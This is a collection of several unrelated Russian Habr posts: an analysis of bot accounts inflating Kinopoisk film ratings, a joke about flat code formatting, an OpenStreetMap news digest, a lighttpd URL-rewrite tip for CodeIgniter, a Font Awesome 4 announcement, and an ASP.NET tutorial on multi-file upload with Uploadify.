Ставили оценки лентам: [Не твоё тело (2017)](https://www.kinopoisk.ru/film/ne-tvoyo-telo-2017-1017263/), [Ежик Бобби: Колючие приключения (2016)](https://www.kinopoisk.ru/film/ezhik-bobbi-kolyuchie-priklyucheniya-2016-1044207/) и [Хорошее время (2017)](https://www.kinopoisk.ru/film/khoroshee-vremya-2017-928796/), имеют ник вида IvanIvanov96, зареганы менее месяца и поставили менее 20 оценок.
Таких оценок ~10к.
Поскольку в последний раз изучал веб-программирование в 11 классе, то использовать стильно-модно-молодёжные языки программирования пригодные для парсинга интернета не вышло и пользовался тем, что было под рукой, а именно MATLAB-ом. Т.к. КП использует динамически подгружаемые данные на странице оценок, то не придумал ничего лучше, чем долистать ручками до конца, а сайт считает, что 1000 оценок будет достаточно (наверное можно поиграться с параметром `prem_max_page` и может получится и больше сохранить) и сохранить это в виде html файлика к себе на диск.
Дальше поиском по файлу ищем строки `/votes/" class="comm-link"` рядом с которыми находятся id интересующих нас пользователей.
Сохранив в массив id пользователей оценки которых нам известны можно посмотреть их профили и странички с оценками. Для этого сохраним странички вида `https://www.kinopoisk.ru/user/***id***/` и `https://www.kinopoisk.ru/user/***id***/votes/` замечательной командой `websave(filename,url,options)`
И как только несколько тысяч страничек скачаются (а это долго, тут нужно играться с задержками между запросами, чтобы не ловить ошибки по timeout) можно посмотреть, что же там интересного. В ход идут `strfind()` и `textscan()` со всякими кусочками адресов. Мне удалось собрать 3740 оценок отсортированных по дате и ещё 2245 уникальных при сортировке по имени пользователя, итого 5985 страничек оценивших фильм #928796 из 12к всех оценок (не смог найти 6000 оценок 3-4-5, остальных оценок было меньше 1000, так что среди них пропусков нет) оценки к другим двум фильмам с 11к оценками КП скрывает под предлогом малого числа валидных оценок.
Вот так выглядело распределение числа оценок для пользователей с количеством оценок от 1 до 20 и для остальных у кого 21 и более. Присутствует такой заметный пик пользователей с 5 оценками.
Регистрировались аккаунты в течение 20 дней, начиная с 24 августа.
Если посмотреть за кого ещё активно голосовали эти пользователи, то кроме двух указанных выше фильмов, можно выделить [Крым (2017)](https://www.kinopoisk.ru/film/krym-2017-984364/) и [Любовь прет-а-порте (2017).](https://www.kinopoisk.ru/film/lyubov-pret-a-porte-2017-842433/)
Для создания видимости больше пары сотен голосов отдано за фильмы из первой тысячи и последним популярным (типа Зверополиса и Ла-Ла-Ленда), которые уже не идут в кино, распределения у всех примерно похожи, оценки только от 3 до 9 с горкой на 7-8 и небольшим горбиком на 3ке (не понятно зачем). Я вообще с трудом представляю человека, ставящего 3 Побегу из Шоушенка)).
Топ 3 оценок, они конечно, совсем не палились:
Хорошее время: 5215 подозрительных оценок
Не твоё тело: 5090/5215
Ежик Бобби: Колючие приключения: 5079/5215
И дальше новенькое, хотябы распределение оценок какое-никакое прикрутили…
Любовь прет-а-порте: 4432/5215
Крым: 793/5215 (Интересно, скоро ли он попадёт в [топ худших](https://www.kinopoisk.ru/top/asc/1/))
Ну и как пишут на Пикабу, все эти фильмы связывает некто [Алексей Пиманов](https://www.kinopoisk.ru/name/1208250/)
Из 5217 подозрительных аккаунтов 5215 имеют ссылку на страницу в вконтакте, так что думаю люди ставили какую-нибудь игрушку/приложение (типа посмотри кто ходил на твою страницу) в vk и она их регала на КП с их ведома или без, ну или просто имеют лёгкий пароль. Если кто-то хочет поизучать, [все ссылки тут](https://yadi.sk/i/DOQF_5K_3NMhJi). И я очень сомневаюсь, что сообщение от администрации Кинопоиска, дойдёт до пользователей вконтакта и они хоть как-то пошевелятся и оповещать пользователей должна администрация Вконтакте. На мой взгляд КП вполне мог бы совсем подчистить эти аккаунты.
**UPD1:** Пока смотрел на оживившихся ботов, которые начали ставить Крыму оценки от 4 до 10, заметил, что информация профилей различается с информацией со страниц Вконтакте и при регистрации через него, даётся ник из вконтакта, так что скорее всего вконтактик использовался просто как база имён и фотографий для регистрации, без угона учёток.
**UPD2:** Если вдруг эту страничку читают сотрудники Кинопоиска, прошу их сразу проверить рейтинг ожиданий фильма [Танкисты (2017)](https://www.kinopoisk.ru/film/tankisty-2017-1007496/) т.к. очень много фейков, которые сейчас вваливают за Крым имеют только его в списке ожиданий, который пока на 12к голосов. Чтобы не сбавлять его в последний день перед премьерой… Если не успеют, придётся всю ночь качать странички ожиданий и строить ещё картинки и показывать где фейки точно проставлены и засчитаны Кинопоиском.
А пока я с нетерпением жду, когда Кинопоиск свершит возмездие, про которое напоминает на каждой страничке:
> Преступление и наказание
>
>
>
> Некоторые пользователи хотят повлиять на рейтинг лучших фильмов КиноПоиска — Топ-250, регистрируя несколько аккаунтов и/или выставляя фильмам только единицы или десятки. Специально для таких посетителей сайта действует простое правило — для расчета рейтинга Топ-250 применяется несколько фильтров, отсеивающих подобные накрутки (рейтинг учитывает голоса регулярно голосующих пользователей, отсеивая 100% ложных десяток и единиц).
>
>
>
> Все попытки недобросовестных пользователей «накрутить» рейтинг будут пресечены. В лучшем случае такие оценки будут просто удалены, в худшем случае аккаунт (или аккаунты) редиски будут забанены, доступ к сайту перекрыт, компьютер вскоре сломается, а в доме злоумышленника появится недружелюбное привидение.
>
>
>
> Потом не говорите, что вас не предупреждали. :)
>
> | https://habr.com/ru/post/407067/ | null | ru | null |
# Пара полезных исключений из правил по форматированию исходного кода
Плоский дизайн (flat design), это сейчас модно и красиво. Внесем же наш маленький вклад в общую тенденцию, применим немного flat-форматированного кода
#### Отступ лесенкой
Вложенные секции кода рекомендуется писать с отступом относительно внешней секции:
```
{
if (условие)
{
for(цикл)
{
}
}
}
```
Это правило обычно соблюдается абсолютно. Но можно записать код вот так:
```
{
if (условие)
for(цикл)
{
}
}
```
Применение такой конструкции конечно же очень ограничено. К примеру, нельзя использовать, если есть блок else. Если это форматирование не вызывает у вас дискомфорта, попробуйте пару раз, возможно вам это понравится. Ведь уменьшение на несколько отступов в глубокой лесенке очень помогает.
#### Double-if
Поделюсь маленьким секретом. Когда-то я отправил специально обученного ниндзю-диверсанта, что бы он встроил в компилятор возможность писать код таким образом:
```
if (условие)
if (условие)
{
}
```
Да-да, вы не поверите, ему все удалось. С тех пор можно писать конструкции
```
if (a | b | c)
if (d | e)
for(цикл)
if (условие)
{
}
```
Это не опечатка, два if один за другим и без отступа! double-if, это полный аналог оператора &&.
вместо
```
if ((a | b | c)
&& (d | e))
{
for(цикл)
{
if (условие)
{
}
}
}
```
Эти маленькие примеры показательны, экспериментируйте! Но хочется предупредить против бездумного применения, используйте flat только там, где это не повредит читаемости кода. | https://habr.com/ru/post/208750/ | null | ru | null |
# Новости из мира OpenStreetMap № 469 (09.07.2019-15.07.2019)
Cайт OpenGeofiction (OGF) сделан на программной платформе OpenStreetMap [1](#wn469_20513) |
Картографирование
-----------------
* Франсуа Лакомбе [объявил](https://lists.openstreetmap.org/pipermail/tagging/2019-July/046616.html) о начале голосования за предложенную им [схему](https://wiki.openstreetmap.org/wiki/Proposed_features/Lines_attachments) тегирования `line_attachment=*`, которая позволит отмечать варианты крепления проводов (электро или телекоммуникационные) к опорам.
* Сейчас на немецком форуме OSM снова идет [обсуждение](https://forum.openstreetmap.org/viewtopic.php?pid=754811#p754811) сомнительных правок карты Amazon Logistics, который, например, замапил даже дороги в бывших поселках при угольных шахтах.
* Пользователь [stadtvermesser](https://hdyc.neis-one.org/?stadtvermesser) задал на форуме OSM вопрос: как правильно [отмечать](https://forum.openstreetmap.org/viewtopic.php?id=66747) колодцы с питьевой водой. Он [нашел](https://wiki.openstreetmap.org/wiki/Tag%3Aamenity%3Ddrinking_water) статью в WikiOSM по этой теме, но она достаточно противоречива.
* Схема тегирования, которой предлагается отмечать [технические таблички](https://wiki.openstreetmap.org/wiki/Proposed_features/Utility_markers_proposal), — ждет комментариев.
* Лейф Расмуссен выдвинул на голосование предложенную им [схему](https://wiki.openstreetmap.org/wiki/Proposed_features/Connectivity) тегирования `connectivity=*`. Предполагается, что она позволит улучшить картографирование соединения полос движения, так как будет использовать новое отношение `type=connectivity`.
Сообщество
----------
* Участники группы OSM в Telegram (всемирной) решили провести онлайн-опрос, чтобы лучше понять тех, кто и составляет сообщество OSM. Его результаты будут опубликованы 11 августа. Форма опроса — [здесь](https://forms.gle/cP3KA5cswoHj3nen9), дополнительная информация — в этом [дневнике](https://www.openstreetmap.org/user/7rst1/diary/390255).
* В этом году конференция FOSS4G-Корея [пройдет](https://www.osgeo.kr/266) (автоматический [перевод](https://translate.google.com/translate?sl=auto&tl=RU&u=https://www.osgeo.kr/266)) (10-11 октября) в южно-корейском городе Пусан. Шин Санджхе из [Gaia3D](http://www.gaia3d.com/en/) (корейская геопространственная компания) [предложил](https://groups.google.com/forum/?fromgroups#!topic/osgeo-kr/-lnFGtpQE_w) (автоматический [перевод](https://translate.google.com/translate?sl=auto&tl=RU&u=https://groups.google.com/forum/?fromgroups#!topic/osgeo-kr/-lnFGtpQE_w)) провести на конференции акцию по переводу QGIS 3.8. Участники записываются в [OSGeo wiki](https://wiki.osgeo.org/wiki/FOSS4G_Korea_2019_QGIS_%EB%B2%88%EC%97%AD%EB%AA%A8%EC%9E%84).
Импорты
-------
* Пользователь Borbus [планирует](https://lists.openstreetmap.org/pipermail/talk-gb/2019-July/023159.html) продолжить улучшать качество береговой линии Великобритании с помощью [OS VectorMap](https://www.ordnancesurvey.co.uk/business-and-government/products/vectormap-products.html). На данный момент он завершил отрисовку [залива Уош](https://ru.wikipedia.org/wiki/%D0%A3%D0%BE%D1%88), а также решил посоветоваться с сообществом насчет того, как ему лучше всего завершить свою работу.
Фонд OpenStreetMap
------------------
* Рабочая группа по коммуникациям фонда OSM [ищет](https://blog.openstreetmap.org/2019/07/13/call-for-help-with-translations/) помощников для перевода постов в блоге и опросов на другие языки.
* Опубликован [протокол](https://wiki.osmfoundation.org/wiki/Licensing_Working_Group/Minutes/2019-06-13) заседания рабочей группы по лицензированию от 13 июня 2019 года.
События
-------
* Нередко качество и скорость помощи людям во время чрезвычайных ситуаций зависят от наличия высокоточных карт. Для многих районов эти карты должны быть сначала подготовлены. Поэтому некоммерческая организация «[Врачи без границ](https://www.aerzte-ohne-grenzen.de/)» использует современные технологии и помощь тысяч волонтеров. 6 августа 2019 года с 17:00 до 20:00 в Берлине пройдет [картатон](https://www.eventbrite.com/e/arzte-ohne-grenzen-mapathon-missing-maps-registration-65647073163), организованный «[Missing Maps](https://www.missingmaps.org/)».
Гуманитарный OSM
----------------
* HOT [сотрудничает](https://www.hotosm.org/updates/the-machine-learning-enabler/) с Development Seed, Facebook и Microsoft для создания картографических инструментов, использующих искусственный интеллект. В настоящее время завершена разработка программы [ML-Enabler](https://github.com/hotosm/ml-enabler), которая позволит «Менеджеру задач» HOT «обзавестись» машинным обучением.
Переходим на OSM
----------------
* [Векторная карта](http://www.ign.gob.ar/argenmap/argenmap.jquery/docs/ejemplos/mapasimple.html), разработанная Национальным геологическим институтом Аргентины, [содержит](http://www.ign.gob.ar/argenmap/argenmap.jquery/docs/#datosvectoriales)  данные из OpenStreetMap. Если быть точнее, они используются начиная с [12 зума](http://www.ign.gob.ar/argenmap/argenmap.jquery/docs/datosdelmapa.html), чтобы показать как можно больше [деталей](https://twitter.com/OpenStreetMapAR/status/1147546251669528576). При этом Институт картографии Валенсии (автономное сообщество Испании), [наоборот ](https://twitter.com/GVAcartografic/status/1148120109862576129), данные из OSM использует для отображения других регионов и стран, а свои собственные — для местной карты.
Программное обеспечение
-----------------------
* SMARTS (Scalable Microscopic Adaptive Road Traffic Simulator) — симулятор дорожного движения, [разработанный](https://projects.eng.unimelb.edu.au/smarts/) в школе вычислительных и информационных систем Университета Мельбурна (Австралия). В основе — данные OpenStreetMap.
* Похоже, что приложение [Trufi](https://play.google.com/store/apps/details?id=app.trufi.navigator&hl=en_US=app.trufi.navigator&hl=en_US), показывающее маршруты движения маршрутных такси в Кочабамбе (Боливия) (о нем мы уже как-то [рассказывали](http://www.weeklyosm.eu/en/archives/11576/#wn447_19445)), пришло и в Аккру (Гана), но под названием `Trotro`. Об этом упоминается в статье про проект [AccraMobile3](https://wiki.openstreetmap.org/wiki/AccraMobile3). [Твиттер](https://twitter.com/trotroapp/status/1141615019731357696)-аккаунт [Trotro](https://en.wikipedia.org/wiki/Tro_tro) в Аккре.
Программирование
----------------
* Российский мапер Zkir [сделал](http://3dcheck.zkir.ru) новый валидатор, который проверяет наличие 3D-моделей для церквей и некоторых других исторических зданий. Почему церкви? Потому что это наиболее заметные объекты и для их моделирования есть фотографии на [temples.ru](http://temples.ru). На данный момент в валидацию включены отдельные районы Московской, Владимирской и Ярославской областей, т.е. то, что попадает в квадратный градус [56°, 38°].
Релизы
------
* Вышла новая [версия](https://josm.openstreetmap.de/wiki/Changelog#stable-release-19.06) JOSM, в которой теперь можно фильтровать подложки по названию страны, реализована поддержка HTTP/2, улучшен интерфейс и многое другое.
* Пользователь wambacher [выпустил](https://twitter.com/wambacher1/status/1150707306402844673?s=19) новую версию (4.4.7) своей [карты](https://wambachers-osm.website/boundaries/) — Карты административных границ OSM. Теперь можно авторизоваться с помощью OAuth, а также улучшено сообщение об ошибках.
* Вышла [новая](https://osmand.net/blog/osmand-3-4-released) версия популярного навигатора OSMAnd. Теперь можно создавать профили, которые позволяют настроить маршрутизацию, появился новый компас на карте с линейкой радиусов и опция «Включить экран», которая включает экран при приближении к повороту при выключенном экране, если до этого был длинный прямой участок.
* Команда «Менеджера задач» выпустила новую версию (v3.4.0) своего программного инструмента, который упрощает координацию добровольцев и организацию групп для картографирования в OpenStreetMap. С [изменениями](https://github.com/hotosm/tasking-manager/releases/tag/v3.4.0) можно ознакомиться на GitHub. Если вы заинтересованы в разработке этого продукта, то можете присоединиться к [заседаниям](https://github.com/hotosm/tasking-manager/blob/develop/docs/working-group.md) их рабочей группы, которая проходит раз в две недели.
А знаете ли вы …
----------------
* … про плагин для JOSM, с помощью которого можно делать различные [измерения](https://twitter.com/josmeditor/status/1147874047818178562?s=19)?
* … про сайт [opengeofiction](https://opengeofiction.net/)? Он пригодится, если вы решите попрактиковаться в картографировании, но не захотите это делать в OSM.
Другие «гео» события
--------------------
* На сайте *«Новости науки о Земле и космосе»* [появилась](https://eos.org/research-spotlights/a-more-accurate-global-river-map) новая карта глобальных речных систем [*MERIT Hydro*](http://hydro.iis.u-tokyo.ac.jp/~yamadai/MERIT_Hydro/), представляющая собой сочетание существующих данных [*MERIT DEM*](http://hydro.iis.u-tokyo.ac.jp/~yamadai/MERIT_DEM/), OpenStreetMap и [Landsat data](https://landsat.gsfc.nasa.gov/data/).
* Издание «The Register» [сообщает](https://www.theregister.co.uk/2019/07/15/galileo_outage/)., что спутниковая навигационная система «Галилео» полностью вышла из строя. 18 июля она [возобновила](https://www.gsc-europa.eu/notice-advisory-to-galileo-users-nagu-2019027) свою работу. Но, к сожалению, не уточняется [почему](https://hackaday.com/2019/07/19/inside-the-mysterious-global-navigation-outage-you-probably-didnt-notice/) случился сбой.
* 15 июня 2019 года российский путешественник [Кирилл Фронюк](https://vk.com/biguralwalk) отправился в автономный одиночный поход. Он планирует дойди пешком от Оренбурга до Северного Ледовитового океана по главным вершинам Уральских гор. За его перемещения можно следить онлайн — на [карте](https://www.iridium360.ru/guest/journey/287e03db), в основе которой OSM.
* На сайте [is XKCD](https://xkcd.com/2170/) есть таблица о значении числа десятичных знаков, используемых в географических координатах.
* Студия Bublar Group, занимающаяся разработкой игр, [выпустила](https://www.prnewswire.com/news-releases/new-announcement-trailer-for-the-location-based-mobile-mmorpg-otherworld-heroes-300880882.html) [трейлер](https://youtu.be/uXuobks1Hks) к мобильной фантастической игре *Otherworld Heroes*, которая является игрой с дополненной реальностью для мобильных телефонов. В основе собственной картографической системы данные из OpenStreetMap.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [468](https://habr.com/ru/post/460599/), [467](https://habr.com/ru/post/459350/), [466](https://habr.com/ru/post/458460/), [465](https://habr.com/ru/post/457404/), [464](https://habr.com/ru/post/456606/) | https://habr.com/ru/post/461093/ | null | ru | null |
# CodeIgniter + lighttpd = ЧПУ
Имеем новый проект «domen.com», который будет работать на php-фреймворке [codeigniter](http://codeigniter.com/) и вебсервере [lighttpd](http://www.lighttpd.net/).
Задача: сделать красивую работу [ЧПУ](http://ru.wikipedia.org/wiki/ЧПУ_(Интернет))
*Поддержка ЧПУ есть в CI, но выглядит оно так: domen.com/index.php/blog/about/*
Структура каталога домена (см картинку):
— css — каталог со стилями
— img — каталог с изображениями
— system — каталог с CI
`$HTTP["host"] == "domen.com" {
server.document-root = "/www/domen.com/"
url.rewrite-once = (
"^/img/.*/?" => "$0",
"^/css/.*/?" => "$0",
"^(.*)$" => "index.php/$1"
)
}`
А теперь подробно:
`"^(.*)$" => "index.php/$1"` — все запросы будут перенаправляться файлу index.php
пример: `domen.com/blog/about/ => domen.com/index.php/blog/about/`
Запросы вида `domen.com/css/style.css` и `domen.com/img/pink.jpg` перенаправляться не будут
По материалу: <http://redmine.lighttpd.net/wiki/lighttpd/Docs:ModRewrite>
P.S. понимаю, что многим покажется это банальным, но в сети очень мало информации по lighttpd, да и не сразу ее найдешь | https://habr.com/ru/post/65408/ | null | ru | null |
# Вышла 4 версия Font Awesome
Добрый день,
Вышла 4-ая версия бесплатного набора шрифтов [Font-Awesome](http://fortawesome.github.io/Font-Awesome/). Изменился дизайн сайта, добавился кроме всего прочего знак рубля, но самое главное — изменились имена классов у иконок. Сейчас нужно везде использовать тэг *и вместо префикса **icon** используется префикс **fa**.
`fa-camera-retro`
[Примеры использования](http://fortawesome.github.io/Font-Awesome/examples/)* | https://habr.com/ru/post/199008/ | null | ru | null |
# Реализация мультизагрузки файлов с индикаторами выполнения на ASP.NET
В этой статье Марк Салливан рассказывает, как с помощью ASP.NET и библиотек Uploadify реализовать мультизагрузку файлов с динамическими индикаторами выполнения. Созданный в процессе класс Http-обработчика, наряду с классом элемента управления, подойдет для любого другого приложения на ASP.NET, что делает этот код, с одной стороны, полезным plug-in-play решением, а с другой – наглядной демонстрацией работы с Http-обработчиком. Он также добавил ряд дополнительных функций на уровень ASP.NET, таких как фильтрация по расширению файла, обратная передача по завершении и безопасность на основе сеансов.
### Общая информация
С выходом HTML5 появилась надежда на возможность реализации одновременной загрузки нескольких файлов без использования ActiveX или других плагинов. Но чистый HTML5 не поддерживает динамические индикаторы во время загрузки, к тому же он по-разному обрабатывается в некоторых браузерах. Мне же было необходимо безопасное решение, позволяющее реализовать фильтрацию по расширению файла.
Я открыл для себя Uploadify, когда искал замену предыдущему решению. Эта библиотека изначально написана как бесплатный Flash-плагин, но в 2012 году было также представлено решение для HTML5. Стоимость HTML5-библиотеки варьируется от $5 до $100 в зависимости от того, собираетесь ли вы ее распространять. На мой взгляд, это невысокая цена как для такого качественного продукта, но, конечно, решать вам. В любом случае, я также сделал реализацию Flash-версии, если она вдруг кому-то пригодится. Возможно, мне и самому удастся применить ее для поддержки некоторых своих проектов в более старых браузерах. К сожалению, я пока не встречал в интернете каких-либо наглядных примеров реализации этого решения на ASP.NET.
Я заключил опции в оболочку веб-элемента управления C# и класса C# (для записи напрямую в выходной поток без элементов управления). Классы обрабатывают большинство опций, обрабатываемых библиотекой. Я также добавил поддержку JavaScript для фильтрации загружаемых файлов со стороны сервера и клиента. Что касается безопасности и фильтрации на стороне сервера, для их реализации требуется состояние сессии. Тем не менее они помогают предотвратить нежелательные загрузки. Другие необходимые для проекта опции тоже добавлены в классы или элементы управления C#.
### Использование кода
**Вступительные замечания**
Прежде чем использовать предоставленный код, вам следует выбрать между бесплатной Flash-библиотекой и платной HTML5-библиотекой. Всё содержимое первой нужно поместить в пустую подпапку Uploadify, а второй – в UploadiFive. Flash-версия используется в третьем демо (Demo3.aspx), а HTML5-версия – в первых двух.
Или же вы можете обернуть классы вокруг поля мультизагрузки файлов в HTML5.
**Подключение библиотек**
Необходимо добавить ссылки к нужной библиотеке jQuery и выбранной библиотеке Uploadify. Стандартный файл CSS поставляется с пакетами, поэтому я добавил в своем коде ссылку и на него. Добавьте следующие строки внутри тега head вашей формы ASPX.
```
```
или так:
```
```
Добавление на страницу элемента управления
В веб-формах ASP.NET добавить элемент управления на страницу можно, создав экземпляр кода класса UploadiFiveControl и добавив его в форму или заполнитель.
```
// Get the save path
string savepath = Context.Server.MapPath("files");
// Create the upload control and add to the form
UploadiFiveControl uploadControl = new UploadiFiveControl
{
UploadPath = savepath,
RemoveCompleted = true,
SubmitWhenQueueCompletes = true,
AllowedFileExtensions = ".jpg|.bmp"
};
form1.Controls.Add(uploadControl);
```
Добавление элемента управления в MVC происходит аналогичным образом.
Работать с Flash-версией довольно просто, так как она использует те же классы и элемент управления, но флаг версии выставлен на Flash, а не на default. Остальные изменения, включая названия некоторый опций, обрабатываются элементом управления.
```
// Create the upload control and add to the form
UploadiFiveControl uploadControl = new UploadiFiveControl
{
UploadPath = savepath,
RemoveCompleted = true,
SubmitWhenQueueCompletes = true,
AllowedFileExtensions = ".jpg|.bmp",
Version = UploadiFive_Version_Enum.Flash
};
form1.Controls.Add(uploadControl);
```
**Http-обработчик для загруженных файлов**
Также необходимо добавить в проект класс Http-обработчика UploadiFiveFileHandler, который обрабатывает файлы по мере их загрузки на сервер. Эта часть реализации меньше всего описана где-либо в справочниках или блогах, и именно поэтому я посвятил ей весь следующий раздел. Чтобы включить этот класс, скопируйте файлы UploadiFiveFileHandler.ashx и UploadiFiveFileHandler.ashx.cs в ваш проект.
**Http-обработчик и безопасность**
Создать Http-обработчик довольно просто, но гораздо сложнее обеспечить его гибкость и внести некоторые дополнительные функции. Я использовал состояние сессии, чтобы обеспечить безопасность и передачу информации с загружающей страницы в обработчик. Для этого я создал класс UploadiFive\_Security\_Token. Вот как выглядит его объявление:
```
/// Token used to add security, via adding a key to the session
/// state, for uploading documents through this system
public class UploadiFive_Security_Token
{
/// Path where the uploaded files should go
public readonly string UploadPath;
/// List of file extensions allowed
public readonly string AllowedFileExtensions;
/// Name of the file object to use in your server-side script
public readonly string FileObjName;
/// The GUID for this security token
public readonly Guid ThisGuid;
/// Constructor for a new instance of the UploadiFive\_Security\_Token class
/// Path where the uploaded files should go
/// List of file extensions allowed
/// Name of file object to use in your server-side script
public UploadiFive_Security_Token(string UploadPath, string AllowedFileExtensions, string FileObjName )
{
this.UploadPath = UploadPath;
this.AllowedFileExtensions = AllowedFileExtensions;
this.FileObjName = FileObjName;
ThisGuid = Guid.NewGuid();
}
}
```
В данном классе содержится путь к файлу, допустимые расширения файла и ключ, по которому обработчик будет находить файл. При рендеринге класса UploadiFiveControl создается новый токен безопасности, который хранится в состоянии сессии под GUID. Сам GUID добавляется в словарь FormData, потом передается в библиотеку Uploadify и затем возвращается в обработчик с данными файла. После этого обработчик может отыскать в сессии токен безопасности, основанный на соответствующем GUID.
```
// Create a new security token with all the configuration info
UploadiFive_Security_Token newToken =
new UploadiFive_Security_Token(UploadPath, AllowedFileExtensions, FileObjName);
// Add this token to the current session for the HttpHandler
HttpContext.Current.Session["#UPLOADIFIVE::" + newToken.ThisGuid.ToString()] = newToken;
// Save the token into the formdata so comes to the HttpHandler
FormData["token"] = newToken.ThisGuid.ToString();
```
Данные формы включены в код JavaScript для создания элемента управления Uploadify. Ниже приведен пример полученного в результате кода HTML без каких-либо ограничений по расширению файла:
```
$(document).ready(function() {
$('#file\_upload').uploadifive({
'fileObjName': 'Filedata',
'formData': { 'token' : 'da66e0ad-750b-4d76-a016-72633dea8b53' },
'onQueueComplete': function (uploads) { $('#file\_upload').closest("form").submit(); },
'uploadScript': 'UploadiFiveFileHandler.ashx'
});
});
```
Как видно выше, генерируемый токеном безопасности GUID включается в код JavaScript для инициализации библиотеки.
Http-обработчику требуется доступ к состоянию сессии, поэтому ему необходимо реализовать интерфейс IReadOnlySessionState. Вот как выглядит полный код метода обработчика ProcessRequest без каких-либо ограничений по расширению файла:
```
Context.Response.ContentType = "text/plain";
Context.Response.Expires = -1;
// Try to get the security token key
string tokenKey = Context.Request["token"];
if (tokenKey == null)
{
Context.Response.Write("No token provided with this request");
Context.Response.StatusCode = 401;
return;
}
// Try to get the matching token object from the session
UploadiFive_Security_Token tokenObj =
Context.Session["#UPLOADIFIVE::" + tokenKey] as UploadiFive_Security_Token;
if (tokenObj == null)
{
Context.Response.Write("No matching server-side token found for this request");
Context.Response.StatusCode = 401;
return;
}
try
{
// Get the posted file from the appropriate file key
HttpPostedFile postedFile = Context.Request.Files[ tokenObj.FileObjName ];
if (postedFile != null)
{
// Get the path from the token and ensure it exists
string path = tokenObj.UploadPath;
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
string filename = Path.GetFileName(postedFile.FileName);
postedFile.SaveAs(path + @"\" + filename);
// Post a successful status
Context.Response.Write(filename);
Context.Response.StatusCode = 200;
}
}
catch (Exception ex)
{
Context.Response.Write("Error: " + ex.Message);
Context.Response.StatusCode = 500;
}
```
Если токен в сессии не найден, файл не будет допущен к загрузке.
**Ограничения по расширению файла**
Хорошая практика при разработке загрузчика – добавлять механизм ограничения файлов по их расширению. В этом разделе я покажу, как мне удалось это сделать на клиентской и серверной стороне с учетом рассмотренных выше параметров безопасности.
Проверка на клиентской стороне реализована как событие в библиотеке UploadiFive. Но событие добавления файла onChange может быть использовано и за пределами библиотеки.
Допустимые расширения передаются в элемент управления UploadiFiveControl в виде строки, разделенной запятыми.
```
uploadControl.AllowedFileExtensions = ".jpg|.bmp";
```
Если всё задано верно, код JavaScript прикрепляется к событию onAddQueueItem при рендеринге HTML.
```
$(document).ready(function() {
$('#file\_upload').uploadifive({
'fileObjName': 'Filedata',
'formData': { 'token' : '4c893799-fd21-4d85-80c4-e32e6cacc794' },
'removeCompleted': true,
'onAddQueueItem' : function(file) {
var extArray = JSON.parse('[ ".jpg", ".bmp" ]');
var fileName = file.name;
var ext = fileName.substring(fileName.lastIndexOf('.')).toLowerCase();
var isExtValid = false;
for(var i = 0; i < extArray.length; i++)
{
if ( ext == extArray[i] )
{
isExtValid = true; break;
}
}
if ( !isExtValid )
{
alert("File types of '<extension>' are not allowed".replace('<extension>', ext));
$('#file\_upload').uploadifive('cancel', file);
}
},
'uploadScript': 'UploadiFiveFileHandler.ashx'
});
});
```
Этот код берет список расширений, преобразованный элементом управления C# в JSON- массив и сверяет конкретное расширение с данными массива. Если это расширение недопустимо, пользователь получает предупреждение, а файл удаляется из очереди на загрузку.
Код Http-обработчика на серверной стороне выглядит примерно так же. В нем токен безопасности используется для получения списка допустимых расширений:
```
// Get the filename for the uploaded file
string filename = Path.GetFileName(postedFile.FileName);
// Are there file extension restrictions?
if ( !String.IsNullOrEmpty(tokenObj.AllowedFileExtensions))
{
string extension = Path.GetExtension(postedFile.FileName).ToLower();
List allowed = tokenObj.AllowedFileExtensions.Split("|,".ToCharArray()).ToList();
if (!allowed.Contains(extension))
{
Context.Response.Write("Invalid extension");
Context.Response.StatusCode = 401;
return;
}
}
// Save this file locally
postedFile.SaveAs(path + @"\" + filename);
```
Теперь ограничение недопустимых форматов на клиентской и серверной стороне можно считать реализованным.
**Ограничения по размеру файла**
Существует также ряд способов ограничить загрузку файлов по их размеру. У сервера IIS имеются такие ограничения, и об этом следует помнить при работе. К тому же в Uploadify тоже есть способ добиться ограничения размеров загружаемых файлов, о чем я рассказывал.
В файле web.config можно задать максимальный размер для допустимого типа контента, что будет накладывать ограничения на загружаемые файлы. За это отвечает тег requestLimits, принимающий значения в количестве байтов. К примеру, фрагмент кода ниже ограничивает размер загружаемого файла примерно до 200 Мб. Этот фрагмент тоже был включен в код в файле web.config.
```
```
Помимо этого, библиотека Uploadify использует свойство JavaScript fileSizeLimit в качестве FileSizeLimit в классах C#. Это выглядит как строка вроде “100KB” или “200MB”.
**Flash как резервный вариант и вопросы совместимости**
Некоторые популярные браузеры, в особенности IE9, не получают необходимых обновлений для того, чтобы поддерживать HTML5. Потому, если в нашем случае не позаботиться о резервном варианте, пользователь старого браузера увидит только стандартное для HTML поле загрузки файла без кнопки загрузки. При этом, конечно же, ничего не будет работать.
К счастью, мы можем взять в качестве резервного варианта Flash-версию, которая очень похожа на HTML5-версию. Для этого используется событие onFallback. Оно было дополнительно реализовано в классах C#, доступных для загрузки здесь. Если добавить эту функцию в текущий код с помощью элемента управления UploadiFiveControl, получится примерно такой код:
```
// Create the upload control and add to the form
UploadiFiveControl uploadControl = new UploadiFiveControl
{
UploadPath = savepath,
RemoveCompleted = true,
Version = UploadiFive_Version_Enum.HTML5,
RevertToFlashVersion = true,
NoHtml5OrFlashMessage = "Please try a more current browser"
};
```
В коде ниже мы указываем классу добавить резервный вариант Flash, выставив свойство RevertToFlashVersion на true. Если же браузер не поддерживает ни HTML5, ни Flash, можно вывести окно с предупреждением, используя свойство NoHtml5OrFlashMessage.
Пример выше генерирует следующий код JavaScript, который будет включен в код HTML вашей aspx-страницы:
```
$(document).ready(function() {
$('#file\_upload').uploadifive({
'fileObjName': 'Filedata',
'formData': { 'token' : 'f8916a9f-9dda-441f-a58b-13948e61f7e7' },
'removeCompleted': true,
'uploadScript': 'UploadiFiveFileHandler.ashx',
'onFallback': function() {
// Revert to flash version if no HTML5
$('#file\_upload').uploadify({
'fileObjName': 'Filedata',
'formData': { 'token' : 'f8916a9f-9dda-441f-a58b-13948e61f7e7' },
'removeCompleted': true,
'swf': 'uploadify/uploadify.swf',
'uploader': 'UploadiFiveFileHandler.ashx',
'onFallback': function() { alert('Please try a more current browser'); }
});
}
});
});
```
